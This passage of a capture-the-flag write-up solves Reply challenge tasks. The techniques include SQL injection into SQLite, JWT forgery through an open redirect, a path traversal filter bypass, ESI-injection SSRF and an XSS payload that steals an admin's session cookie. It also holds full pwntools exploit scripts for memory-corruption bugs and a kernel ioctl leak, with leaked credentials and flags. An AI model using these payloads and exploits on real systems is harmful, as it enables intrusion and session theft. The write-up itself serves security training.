burp0_cookies = {"session": ".eJwlkEtqQzEMRbdSPO4rli1bUkbdSbD1oaWkgfeSUcje69CpuId7rh7pHLsfX-l02-_-ns7flk7JsRQos7Y8slqeSDzVkGeJwBGi2qBJF6jiUYd2L95yaTantYDAADJiKOFlcFRrHOYOQdatDxdaYXfKmQWBSyWoQBkdTCI00hK5H77_21zGcfP9M6gpNJbNc48NWWyTGbwhau5ZCy7RD71eFqzHHufb9cd_Fx7TGQi5MgF3QcFWZyUpLRhQR89lzfKxuFdnOj3S231xZuYYqK346wF15N5ydVxH06iUns8_IjFa0Q.Y0meXg.IuJsxo9S37owkxDNNP2e_1FJ_-c"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://gamebox1.reply.it", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://gamebox1.reply.it/dc5ff0efae41b3500b9ebc0ee9ee5a78c98f41a9/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = {"query": encode(query)}
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)

try:
print(r.text.split('<table class="emoji-container"><div class="category"><div id="lh"></div>')[1].split('<div id="rh"></div></div></table>')[0])
except Exception as ex:
print(r.text)

From there, we can use this nice interface that the script provides to do a manual SQL injection like so (while keeping in mind that the DBMS is SQLite):

$ python3 web200.py
query: (select 'test')
TEST
query: (SELECT tbl_name FROM sqlite_master LIMIT 1 OFFSET 0)
EMOJI
query: (SELECT tbl_name FROM sqlite_master LIMIT 1 OFFSET 1)
SQLITE_SEQUENCE
query: (SELECT tbl_name FROM sqlite_master LIMIT 1 OFFSET 2)
R3PLYCH4LL3NG3FL4G
query: (SELECT sql FROM sqlite_master LIMIT 1 OFFSET 2)
CREATE TABLE R3PLYCH4LL3NG3FL4G (
    ID INTEGER PRIMARY KEY AUTOINCREMENT,
    VALUE TEXT NOT NULL
)
query: (SELECT value FROM R3PLYCH4LL3NG3FL4G LIMIT 1)
{FLG:O0O0OP5_1_H4V3_B33N_PWN3D_(54DF4C3)!}

Flag

{FLG:O0O0OP5_1_H4V3_B33N_PWN3D_(54DF4C3)!}

Web 300

Description

The process begins. An electric beam passes through R-boy; the temple shines with a bright light, clearly visible from thousands of miles away. When the light disappears, R-boy is regenerated.

http://gamebox1.reply.it:80/24bfaaddbd56755e48876b92144c1be38d56de29

We're given the following website:

There is Login functionality, however the Register page just redirects us to the home page (and there is not POST method for /register as well). The "About us" page provides us with some information:

gigi and tony1987 are potential usernames that we could use. We can click on the Vacant position and it redirects us to the following page:

However, there is a different endpoint in between the page and the /developer one, let's analyze it in Burp:

We can manipulate the ?position= parameter, but we can't obtain more than an open redirect. There's also an interesting header that we haven't seen before (ReplyFW-ALLOWED-INTERNET: https://gist.githubusercontent.com). Which hints that we should probably use the open redirect with the gist.githubusercontent.com website.

Let's look at the access_token_cookie next, since it's quite lengthy and it looks like a JWT:

We can see that it uses jku, that means that it gets the public key from that URL and then verifies the JWT using that. We too can obtain the public key by going to http://gamebox1.reply.it/24bfaaddbd56755e48876b92144c1be38d56de29/jwks

{"keys":[{"alg":"RS256","e":"AQAB","kid":"ecommerce","kty":"RSA","n":"zxD-vevQFBWEd1vb-95pzhJuYRCgifVdrCMciaQ-NaZupQVIsqISzxT_lbd1m2ngSDGiSdmURs9rOWzPySqKsmzTNqIurYGZyJy10AX9KELVkPNoLMBJXUgKtWncr4o9z7-Yv29n9MoivkyV5nncCQ19O_5C0ALfFUcme0X_qBZhaK19psRe4OteBi9kXboRH6ddlwJBhG3Qaz3tnEmh87YmwazwVWSx_Em0maEz44GeaFquY8MfLE11QGFu9bCsE073DugJYCC-ZhO_HNi17LELE0M80dkNmkdIBm46dDzs-0YW8hBjVK_RMZOqT1UmMz-0XX0r2q3llhZHtM2RBQ","use":"sig"}]}

We can assume that the jwks is indeed on the same server as the vulnerable application, and that the jku url must come from http://127.0.0.1:5000 This is where the Open Redirect vulnerability comes into play. We can host our own jku public key with a known private key on gist.githubusercontent.com and then modify the JWT and sign it with the private key like so:

With the JWT forged, we change the "sub" field to display "gigi" (one of the admins) instead of anonymous. We have a new "admin" tab in the navbar:

That leads us to this page:

We need to "verify" our account, and we're given a link as an example. However the example doesn't work

If we analyze the ?key= parameter, we notice that the value kinda looks like a md5 hash.

And indeed it is, looks like the format is md5(username + birth_date_year), We can bruteforce all combinations for gigi from 2022 to 1900 and we find the correct key: 55060d3ca52960cb070c5692a0cc814e = md5(gigi1987)

We get a valid verification code so we can validate our account.

We are now in the admin panel, and it looks like the Download report might have a LFI vulnerability, since what looks like a filename is being given as a POST parameter:

If we try to change it:

A nice error message, if we try to use ../ however they will get replaced, but only 1 time. So we can use something like ..././ since after the middle ../ will be removed, we'll be left with a ../

Then we can read ../.bash_history

There's an interesting file in ../scripts/run_webapp.sh, let's try to read it:

And we get the flag.

Flag

{FLG:Le4ve_my_S0cks_4l0ne}

Web 400

Description

But something has changed. Something “alien” lives inside our hero. It courses through his mind and his veins like a memory of lives he never lived. Confused and dazed, R-boy decides to return to TouringZ as quickly as possible to understand what’s happening: he cannot stop thinking about Zer0.

http://gamebox1.reply.it:80/fd44f66cd0bfc4867dccdde5e161e64d45e199a1/home

The web has a pretty big hint in the News section:

13/10/2022 | Our caching server is haunted! Dear visitors, we need your help...since when we started using these edge-side-include thingies, we keep seeing illegitimate requests to one of our internal systems. We are not sure why or how this is happening, but we see that our parser is trying to resolve tags which are never inlcuded by our backend! If you know what is happening, please let us know! You can use our contact form as soon as it's back online!

This hints at injecting edge-side-include tags, and sure enough, see what happens when visiting the following URL: http://gamebox1.reply.it/fd44f66cd0bfc4867dccdde5e161e64d45e199a1/preview?fname=lol&message=%3Cesi:include%20src=%22lol%22/%3E&send=Send

<b>Message: </b><br/>
<p id="message-body"><esi:error hidden="">Hostname or port not in whitelist. Hosts allowed: ['172.20.0.4']; Ports allowed: [5000].</esi:error></p>
</div>

This message helpfully tells us what target is allowed. Trying <esi:include src="http://172.20.0.4:5000"/>, we get <h1>Hello from <code>172.20.0.4</code>!</h1>.

We have to discover content on the server, so including good old robots.txt we get

User-agent: *
Disallow: /graphql
Disallow: /test

/test returns:

<!DOCTYPE html>

<head>
<title>Test Page</title>
<style>

td, th {
text-align: center
}
</style>
</head>
<body>
<div>
<h1>ESI Authentication Test Page</h1>
<p>This is a test page I made to check if the <code>Authorization</code> header has been correctly added to the requests coming from the ESI server.</p>
<p>If you see your username below, then this request was correctly authenticated and your ESI server can successfully communicate with this machine and its services (e.g., <i>graphql</i>).</p>
<p>Username: <strong>esi-user</strong>
<p><small>To other developers on the team: recall that we also have an ESI tag that can access values of specific request headers (<code>esi:header</code>).</small>

And /graphql is a graphql endpoint where we can send queries using the URL parameter. Introspection is enabled, so we can enumerate all queryable fields. There are two queries, flag and user.

Querying flag using http://172.20.0.4:5000/graphql?query={flag{success, errors, flag}} returns {"data":{"flag":{"errors":["Only user 'admin' can perform this operation."],"flag":null,"success":false}}}, so we somehow have to impersonate an admin account. Querying user with http://172.20.0.4:5000/graphql?query={user(userId:1){success, errors, user{id,admin,username,last_login}}} give us {"data":{"user":{"errors":null,"success":true,"user":{"admin":true,"id":"1","last_login":"13-10-2022 10:25:11 - CEST","username":"admin"}}}}.

We remember the mention of esi:header and use it to leak the Authorization header. Without any arguments we get <esi:error hidden="">Attribute 'name' is mandatory for the 'esi:header' directive.</esi:error>, so we inject <esi:header name="Authorization"/> and get the following value: ZXNpLXVzZXI=:MTY2NTQ4MDYzMQ==.

The first part base64decodes to esi-user, the second to 1665480631, which is the unix timestamp of last login of esi-user. Using the same format, we craft an authorization header for the admin: Authorization: YWRtaW4=:MTY2NTY0OTUxMQ==

When the header is already present in the request, the server just passes it to the included page, as we can see by requesting the /test endpoint:

Requesting http://172.20.0.4:5000/graphql?query={flag{success, errors, flag}} with this header we get the flag:

Flag

{FLG:XSS_4nd_SSRF_f0rb1dd3n_ch1ld}

Web 500

Description

The return trip would be problematic, except that, almost unconsciously, R-Boy opens a portal. He can’t explain how, but he now knows how to open albeit very unstable, spatiotemporal gateways. One, two, three… here we go.

http://gamebox3.reply.it:80/eab7d078f560ffad719388fde466d912980d6024

The task is a social network style website, where we can create a profile and chat with other users. We create an account and immediatelly are greeted with an amazing offer:

Unfortunately, the sponsorship is 39€ a month and we were only given 20€ as a registration bonus. Luckily, there is an integer overflow in the site, so we can just purchase 110127367 subscriptions, as that will only cost us 17€:

After we buy the subscription, three users immediatelly start following us:

While we already knew about BigFish and CaptainJack from their posts, OFisherman is new to us, and his profile picture says #ADMINISTRATOR:

So this is the user we have to phish. First, we need to get an XSS payload to our profile page, and then we can ask OFisherman to visit it, which he will happily do:

There is an XSS vulnerability in the bio field, where the only protection is a call to .replace("script", "") on the value. This is easily bypassed using <scrscriptipt>, as the replacement isn't recursive. There is also a length check on the bio, but that's only client side, so we can ignore it.

We want to steal the user's session. For that, we'll use the handy "visits" page, which logs all vists to your profile AND your session cookie.

So our XSS payload will first load the user's profile vists, we'll read the session cookie from there, and then exfiltrate it by visiting our profile with a query parameter which will be logged. This is our final payload:

<scrscriptipt>

if (!location.search) {
fetch('/eab7d078f560ffad719388fde466d912980d6024/visits').then(function(response) {
return response.text();
}).then(function(text) {
location = "/eab7d078f560ffad719388fde466d912980d6024/profile/Test1234!23$?q=" %2b text.split('id="sessid">')[1].split('<')[0];
});
}
</scrscriptipt>

We send OFisherman the link to our profile, he runs the script and exfiltrates his session cookie to us, which was 8gdean8ntwb1p2v74307jm9qidegyrmm. Hijacking his session and checking his Saved Messages, we see the following memo:

We download the jnlp file, which references a jar file (http://gamebox3.reply.it/eab7d078f560ffad719388fde466d912980d6024/static/5c6039c8bb7fc4b8bb2f23c12939742c/ofish-administration.jar).

The application shows a login form and the submits the username and password to the server using the following code:

  String str1 = this.userTextField.getText();
String str2 = this.passwordField.getText();
String str3 = "aPinchOfSalt";
String str4 = str2;
try {
String str5 = CryptoUtilAesCbc.encrypt(str3, str4.toLowerCase());
String str6 = performLogin(str1, str5);
JSONObject jSONObject = new JSONObject(str6);
JOptionPane.showMessageDialog(this, jSONObject.getString("result"));
System.out.println(jSONObject.getString("message"));
} catch (Exception exception) {
exception.printStackTrace();
}

public String performLogin(String paramString1, String paramString2) {
try {
URL uRL = new URL("http://gamebox3.reply.it/eab7d078f560ffad719388fde466d912980d6024/login");
HttpURLConnection httpURLConnection = (HttpURLConnection)uRL.openConnection();
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setDoOutput(true);
httpURLConnection.setRequestProperty("Authorization", "Basic ZmlzaDpQclJncW9WUSVRNnptakF4WFRqOwo=");
httpURLConnection.setRequestProperty("Content-Type", "application/json");
httpURLConnection.setRequestProperty("Accept", "application/json");
String str1 = "{\"username\": \"" + paramString1 + "\", \"password\": \"" + paramString2 + "\"}";

The authorization header decodes to fish:PrRgqoVQ%Q6zmjAxXTj. To properly call the endpoint, we need to encrypt the password using CryptoUtilAesCbc.encrypt. While we could probably reverse that method, why bother when we can just create a simple Java wrapper that will call it for us:

import com.ofish.CryptoUtilAesCbc;

public class test
{
public static void main(String[] args) throws Exception {
System.out.println(CryptoUtilAesCbc.encrypt("aPinchOfSalt", args[0]));
}
}
c:\Users\jagot\Downloads>javac -cp ofish-administration.jar test.java

c:\Users\jagot\Downloads>java -cp ofish-administration.jar;. test PrRgqoVQ%Q6zmjAxXTj;
H4xTToGBwRQIC2QND9L9K3dtfQIBw7hJlmcU3AKOQN7j6LxWtNP4ErieXl9BTD4D

Let's try logging in with this value:

POST /eab7d078f560ffad719388fde466d912980d6024/login HTTP/1.1
Host: gamebox3.reply.it
Accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 100
Authorization: Basic ZmlzaDpQclJncW9WUSVRNnptakF4WFRqOwo=

{"username": "fish", "password": "H4xTToGBwRQIC2QND9L9K3dtfQIBw7hJlmcU3AKOQN7j6LxWtNP4ErieXl9BTD4D"}

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Sat, 15 Oct 2022 10:56:43 GMT
Content-Type: application/json
Content-Length: 120
Connection: close
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin

{"result": "Error, incorrect credentials", "message": "Try the default credentials Admin:OfishIsTheBestSOCIALnEtWoRk1@"}

So we do one more encryption and get the flag:

c:\Users\jagot\Downloads>java -cp ofish-administration.jar;. test OfishIsTheBestSOCIALnEtWoRk1@
8q7tjgL7uhF9tUosXKafOIaLinJHH17W0n46aZ7qgXQJUppvhQRTFAo4FqxyDt1W

POST /eab7d078f560ffad719388fde466d912980d6024/login HTTP/1.1
Host: gamebox3.reply.it
Accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 101
Authorization: Basic ZmlzaDpQclJncW9WUSVRNnptakF4WFRqOwo=

{"username": "Admin", "password": "8q7tjgL7uhF9tUosXKafOIaLinJHH17W0n46aZ7qgXQJUppvhQRTFAo4FqxyDt1W"}

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Sat, 15 Oct 2022 10:57:05 GMT
Content-Type: application/json
Content-Length: 93
Connection: close
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin

{"result": "Congratulations, you captured the flag!", "message": "{FLG:N3v3r_Pwn_F1sh3rm3n}"}

Flag

{FLG:N3v3r_Pwn_F1sh3rm3n}

Binary

Binary 100

Description

Up until this point, R-Boy has fulfilled his destiny, but now he’s regenerated Zer0 is worrying him greatly. Suddenly, a feline spirit appears and reveals to R-Boy the existence of multiple parallel universes. The spirit also tells him that Zer0 has taken refuge in one of these universes and is ready to unleash all his power.

We are given a binary. The binary is a pretty straightforward flag checker, where the only trick up its sleeve is that it usess floats to do the calculation. Relevant chunk of main:

printf("~ Insert a word: ");
if ( fgets(input, 255, stdin) )
{
input[strlen(input) - 1] = 0;
v6 = strlen(input);
if ( v6 == 24 )
{
for ( i = 0; v6 > i; ++i )
pass[i] = (double)input[i];
if ( pass[15] == 91.0
&& pass[18] == 91.0
&& pass[0] + pass[0] + 11.0 == pass[0] + 130.0
&& pass[23] + pass[23] + 6.0 == pass[23] + 127.0
&& 7.0 * pass[1] == pass[1] + 396.0
&& pass[22] == 104.0
&& 3.0 * (pass[2] + 2.0) - 2.0 == 4.0 * (pass[2] - 17.0)
&& pass[21] == pass[21] + pass[21] - 44.0
&& pass[3] == 67.0
&& 3.0 * (3.0 * pass[20] - 2.0) - 4.0 * (pass[20] * 5.0 + 2.0) == -8.0 * pass[20] - 146.0
&& (5.0 * pass[4] - 2.0) * 5.0 - (pass[4] + pass[4] + 7.0) * 6.0 == 33.0 * pass[4] - 1132.0
&& pass[19] == pass[3] + pass[20] - 16.0
&& (pass[5] + pass[5]) / 3.0 == (pass[5] + 44.0) / 3.0
&& pass[17] == 49.0
&& 0.1666666666666667 * (pass[6] * 8.0 + 15.0) == 0.5 * (pass[6] + pass[6] + 81.0)
&& 0.0 - pass[16] / 5.0 == 36.0 - pass[16]
&& 7.0 * pass[7] / 2.0 == pass[7] * 3.0 + 23.5
&& pass[14] == pass[14] / 2.0 + 48.0
&& pass[8] == 110.0
&& pass[13] == pass[14] / 2.0 - 1.0
&& pass[9] == 104.0
&& pass[12] == pass[11]
&& pass[11] == 108.0
&& pass[10] == 48.0 )
{
puts("Word found! But it's not the flag. Awww :3");
for ( j = 0; v6 > j; ++j )
sub_1188((int)pass[j]);
return 0LL;
}
else
{
sub_1175();
return 1LL;
}
}
else
{
puts("Maybe you should search for a different length word! Meeoww");
return 1LL;
}
}
else
{
puts("Insert a word");
return 0LL;
}

As most of the calculations could be done using integers, I used z3, and I manually calculated some of the more pesky equations like the one with 0.1666666666666667, giving me this solver script:

from z3 import * 


s = Solver()

passw = []
for i in range(24):
passw.append(Int(str(i)))
s.add(passw[i]<128)

s.add(passw[15] == 91)
s.add(passw[18] == 91)
s.add(passw[0] + passw[0] + 11 == passw[0] + 130)
s.add(passw[23] + passw[23] + 6 == passw[23] + 127)
s.add(7 * passw[1] == passw[1] + 396)
s.add(passw[22] == 104)
s.add(3 * (passw[2] + 2) - 2 == 4 * (passw[2] - 17))
s.add(passw[21] == passw[21] + passw[21] - 44)
s.add(passw[3] == 67)
s.add(3 * (3 * passw[20] - 2) - 4 * (passw[20] * 5 + 2) == -8 * passw[20] - 146)
s.add((5 * passw[4] - 2) * 5 - (passw[4] + passw[4] + 7) * 6 == 33 * passw[4] - 1132)
s.add(passw[19] == passw[3] + passw[20] - 16)
s.add((passw[5] + passw[5]) == (passw[5] + 44))
s.add(passw[17] == 49)
s.add(passw[6] == 114)
s.add(- passw[16] == (36 - passw[16])*5)
s.add(passw[7] == 47)
s.add(passw[14] * 2 == passw[14] + 48*2)
s.add(passw[8] == 110)
s.add(passw[13]*2 == passw[14] - 2)
s.add(passw[9] == 104)
s.add(passw[12] == passw[11])
s.add(passw[11] == 108)
s.add(passw[10] == 48 )

print(s.check())
for p in passw:
print(chr(s.model()[p].as_long()), end="")

We get wBHC6,r/nh0ll/`[-1[_,,hy, which gets accepted by the binary:

$ ./mlem

  _____ __    _____ _____
  |     |  |  |   __|     |
  | | | |  |__|   __| | | |
  |_|_|_|_____|_____|_|_|_|
  v1.0 - Poeta Errante


  ,-.       _,---._ __  / \
 /  )    .-'       `./ /   \
(  (   ,'            `/    /|
 \  `-"             \'\   / |
  `.              ,  \ \ /  |
   /`.          ,'-`----Y   |
  (            ;        |   '
  |  ,-.    ,-'         |  /
  |  | (   |            | /
  )  |  \  `.___________|/
  `--'   `--'


~ Help Wesley the cat to find the right word :3 ~


~ Insert a word: wBHC6,r/nh0ll/`[-1[_,,hy
Word found! But it's not the flag. Awww :3

To get the flag, we check what sub_1188 does. It decompiles badly, but it's easy to understand, as it pretty much only does add al, 4. We can do the same operation on the string using CyberChef: https://gchq.github.io/CyberChef/#recipe=ADD(%7B'option':'Hex','string':'4'%7D)&input=d0JIQzYsci9uaDBsbC9gWy0xW18sLGh5

And we get the flag.

Flag

{FLG:0v3rl4pp3d_15_c00l}

Binary 200

Description

R-Boy opens a new spatiotemporal gateway and heads to the Ad4-32 universe, where things seem to work in reverse. There seem to be no traces of Zer0, so he has to scan the entire system’s planets.

gamebox3.reply.it Port:2692

This is a pwn task. The main structure used by the binary is a linked list of planets, like so:

00000000 planet          struc ; (sizeof=0x28, mappedto_8)
00000000 name            db 16 dup(?)
00000010 dataptr         dq ?
00000018 next            dq ?                    ; offset
00000020 prev            dq ?                    ; offset
00000028 planet          ends

Here name contains the planet name characters directly and dataptr points to the data section of the binary (ASLR leak 👀).

There is a straightforward buffer overflow in planet rename, which overflows the current planet name field. It's even so cool that it makes sure to not properly null terminate the string. Also, there is an unreachable "win" method (requires a randomly generated password) which runs shell commands, and the menu uses a pointer table in the data section to locate the correct method to run.

There is also a stack buffer overflow bug in GoBack, but I just ignored that one.

The plan of attack is the following:

  • rename the planet to a 16 char name and then read the name back to leak dataptr, leaking ASLR
  • rename a planet with 24 chars + ptr to the menu function table to overwrite the next pointer
  • go to the next planet, now root points to the menu function table
  • rename the planet, overwriting the Help proc ptr with the "win" function
  • call Help

And here is the implementation:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./challs --host gamebox3.reply.it --port 2692
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./challs')

# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'gamebox3.reply.it'
port = int(args.PORT or 2692)

def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io

def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''
.format(**locals())

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled

io = start()

# shellcode = asm(shellcraft.sh())
# payload = fit({
# 32: 0xdeadbeef,
# 'iaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)

io.sendlineafter(b"Passwd:", b"secret_passwd_anti_bad_guys")
io.sendlineafter(b">", b"Rename")
io.sendlineafter(b"name", b"A"*16)
io.sendlineafter(b">", b"GetName")
io.recvuntil(b"called: " + b"A"*16)

aslr_leak = u64(io.recvline()[:-1].ljust(8, b"\x00"))
base = aslr_leak - 0x40D0

io.sendlineafter(b">", b"Rename")
io.sendlineafter(b"name", b"A"*24 + p64(base+0x4160))

#gdb.attach(io)
io.sendlineafter(b">", b"Jump")
io.sendlineafter(b">", b"Rename")
io.sendlineafter(b"name", p64(base+0x1886))


#print(hex(aslr_leak))
io.interactive()

Flag

{FLG:jump_in_jump_to_Jump}

Binary 300

Description

R-Boy is trying hard, but there’s no trace of Zer0. Moreover, during the search, R-Boy has unexplainable trances, in which he sees numerical sequences running without any meaning.

gamebox3.reply.it Port:3527

Another pwn task, this time a C++ binary to discourage the faint of heart. The binary does all kind of weird stuff, but we're gonna only discuss the stuff we used.

First, there's a global table of 3 filenames for secrets, and directly after that is a "code" that we can change:

So the plan is to write a filename into the code variables and then abuse the show secret function to read a file with the index of 3.

Is that even possible? Let's check the following code in show_secret:

  if ( preauth == 0x13371337 )
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Insert secret (0 < index < 4):");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
fgets(s, 16, stdin);
secret_index = atoi(s);
if ( secret_index <= 0 || secret_index > 3 )
secret_index = 1;
}
else if ( preauth == 0xDEADBEEF )
{
secret_index = 1;
}
if ( secret_index > 0
&& secret_index <= 4
&& (--secret_index, filename = &aTmpSecret1[16 * secret_index], (stream = fopen(filename, "r")) != 0LL) )
{
[...]

As you can see, the filename table access actually checks if secret_index <= 4, which should allow us to reach the forged filename. However, the way to change that local variable is through preauth 0x13371337, which doesn't allow us to set it to 4. However, if preauth is not any of these two values, for example it's 1, the variable doesn't get initialized and whatever was on the stack remains here. And as luck would have it, the variable overlaps with change_code's variables, so we can poison it.

Two remaining things to note is that the password checking mechanism is backdoored and Wild BackD00r appeared! unlocks all secret notes, and that there is another bug where if we say "yes" to "Do you want to call 'Show secret' function also" we can't change the current preauth key.

To reiterate what the solution does:

  1. Change the codes (without calling show secret) so filenames[3] is home/flag.txt
  2. Call change the codes (without calling show secret) with wrong preauth of 0, so that in step 3 they are not changed
  3. Call change the codes with calling show secret, and planting the index 4 in the secret_index stack variable.
  4. Use the backdoor password to read the file.

Full solution script:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./challenge --host gamebox3.reply.it --port 3527
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./challenge')

# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'gamebox3.reply.it'
port = int(args.PORT or 3527)

def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io

def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''
.format(**locals())

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: PIE enabled

io = start()

# shellcode = asm(shellcraft.sh())
# payload = fit({
# 32: 0xdeadbeef,
# 'iaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)



io.send(b"ae86b59869f0806b5f53b_be20c200469a9a0ebfdbbe4__")
io.sendlineafter(b">", b"5")
io.sendlineafter(b"also", b"no")
io.sendlineafter(b"auth key", b"%d" % 0x13371337)
io.sendlineafter(b"code 1", b"%d" % u64(b"home/fla"))
io.sendlineafter(b"code 2", b"%d" % u64(b"g.txt\x00\x00\x00"))
io.sendlineafter(b">", b"5")
io.sendlineafter(b"also", b"no")
io.sendlineafter(b"auth key", b"1")
io.sendlineafter(b"code 1", b"0")
io.sendlineafter(b"code 2", b"0")


io.sendlineafter(b">", b"5")
io.sendlineafter(b"also", b"yes")
io.sendlineafter(b"code 1", b"4846791580151137091")


io.sendafter(b"code 2", b"A"*28 + b"\x04\x00\x00")
#gdb.attach(io)
#input()
io.sendlineafter(b"Insert password", b"Wild BackD00r appeared!\x00")
io.interactive()
#io.sendlineafter(b":", b"B"*126)
#io.sendlineafter(b">", b"3")

Flag

{FLG:8de6d9de06ff3c54ba6bdaa192fb9ff067f43fd0?}

Binary 400

Description

During one trance, as a river rises to a mountaintop, a particular sequence of 0s and 1s seem to acquire meaning: Zer0 is hidden only a few miles away!

gamebox3.reply.it Port:4790

In the kernel driver, the dimension id is only 1 byte in size but it's treated as a 4 byte int in the userspace program. This allows us to set the fields after the id during ioctl. By setting an extra bit, we are able to leak the flag:

from pwn import *

sh = remote('gamebox3.reply.it', 4790)

sh.sendlineafter(b'#> ', b'_g3nn4r0_f3r10p3z_')

def s(i):
sh.sendlineafter(b'cHOICE: ', str(i).encode())

s(3)
sh.sendlineafter(b'sELECTION: ', str(0x00008001).encode())
s(2)
sh.interactive()
❯ python3 solve.py
[+] Opening connection to gamebox3.reply.it on port 4790: Done
[*] Switching to interactive mode
sELECTED: 8001
{"code":"A2MP_GETINFO_RSP", "id": "1", "status: 0x1", "total_bw: 0", "max_bw: 0", "min_latency: 0", "pal_cap: 0", "assoc_size: 0", "flg: {FLG:~wh04_inf0134k_ch4mpi0n~}"}

Flag

{FLG:~wh04_inf0134k_ch4mpi0n~}

Crypto

Crypto 100

Description

Decoding begins. It seems a more convoluted puzzle than usual, and the increasingly frequent trances do not help. The clock is ticking.

We are given a PDF that contains 3 QR codes and 3 runes:

The values of the QR codes are as follows:

0x87b24ec1464df4d013e8434c0e1425ad0a69cecf25f34af2f0e05c14839725f9
0x0418f200b715d526b60426f2afbee9fb8cd7514f173b9e564ff1f23b0847add4
0xf67dc445167d363ce0725e58ff3ed1b774d5fb5b70eb10e1deee0ce244d3c8d7

The title of the challenge (Non-Fungible Rune), is pretty telling as to what the challenge is about. The hex values look like Eth transaction hashes and we're able to find the transactions on the Goerli Testnet:

https://goerli.etherscan.io/tx/0x87b24ec1464df4d013e8434c0e1425ad0a69cecf25f34af2f0e05c14839725f9 https://goerli.etherscan.io/tx/0x0418f200b715d526b60426f2afbee9fb8cd7514f173b9e564ff1f23b0847add4 https://goerli.etherscan.io/tx/0xf67dc445167d363ce0725e58ff3ed1b774d5fb5b70eb10e1deee0ce244d3c8d7

If we click on "More" on Etherscan, we'll be able to see the input data. If we view the input as UTF-8 then we get 4 different ipfs links:

ipfs://bafkreidxtkeejzdidxuozmv2imdbte7lrq4idoer73jxj3nbzsnuwufeqq ipfs://bafkreicfbtwfvxw4as2kvfv3v6fjyy5rfnuq3kgxburp45blgei56fvn2m ipfs://bafkreicjpi7yl2xbunmisftxfkl23m7ubi6rfr4rjqf6wh2uh4aswj4fli

We can view the ipfs links by installing the IPFS Companion browser extension. They contain some data like:

{
  "attributes": [
    {
      "trait_type": "Runa",
      "value": "Runa"
    },
    {
      "trait_type": "Runa Runa",
      "value": "Runa"
    }
  ],
  "description": "Runa Runa Runa Runa Runa Runa",
  "image": "ipfs://bafybeifgxjn4pntw6jbw5im4vno3x624c63f54pxiozz523c2oohug4ati",
  "name": "Runa"
}

And an image, however no flag to be found in all the minted NFTs.

From the transaction we are also able to find the contract that minted the NFTs:

https://goerli.etherscan.io/address/0xcebddda850b185b272501731f3d262a3d9a601d3

Looking at the contract creator (https://goerli.etherscan.io/address/0xee49d50f71c1d1ec97cc4e4697c95b2ed4c9cc37) we find out that they have deployed another contract back in June:

https://goerli.etherscan.io/address/0xd4d2828528a86790b942d2a216cf096ac0a14277

If we go the "Contract" tab on the older contract, we're able to see a nice decompilation as the bytecode is similar to other NFT contracts. However if we try that on the newer contract all we get is bytecode.

So we search for a bytecode decompiler on the internet and find the one from ethervm.io:

We get a nice list of Public Methods and the one that stands out is the "password()" method. We can call the method of the contract by going to the Etherscan contract tab of the older contract, calling a function and then intercepting the request call in Burp to change the data:

